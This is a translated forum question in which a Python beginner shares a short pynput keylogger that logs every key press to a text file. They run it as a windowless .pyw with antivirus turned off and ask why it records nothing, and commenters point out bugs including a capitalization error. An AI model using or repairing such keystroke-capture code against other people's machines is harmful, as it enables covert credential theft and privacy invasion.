【发布时间】:2021-02-07 18:31:18
【问题描述】:
我第一次尝试制作键盘记录器,但是当我尝试运行 .pyw 文件时遇到问题,它没有显示在我的任务管理器中,也没有记录我的击键,我'已经关闭了防病毒软件,一切都无法正常工作。我是 python 新手,我把它放在 IDLE Shell 中,它说“SyntaxError:编译单个语句时发现多个语句”。有人可以帮我解决这个问题吗,是的,我已经安装了 pynput。
Error: "SyntaxError: multiple statements found while compiling a single statement"
Python 版本:3.9.1
代码:
from pynput.keyboard import Key, Listener
import logging
log_dir = " "
logging.basicConfig(filename=(log_dir + "key_log.txt"), level=logging.DEBUG, format='% (asctime)s: %(message)s')
def on_press(key):
logging.info(key)
with Listener(on_press=on_press) as Listener:
listener.join()
【问题讨论】:
-
不要将代码粘贴到 shell 中。创建一个新的
.pyPython 脚本文件。将代码粘贴到文件中,保存,然后执行。 -
Paul M,我也这样做了,但还是没用。
-
好的。错误中是否包含任何其他信息?
-
我是 python 新手,我不完全理解一切是什么,但主要问题是记录器不会保持打开状态
-
不确定这是否是您的问题的原因,但不应该是
with ... as listener而不是with ... as Listener?小写l,而不是大写L。按照现在的写法,应该会引发NameError。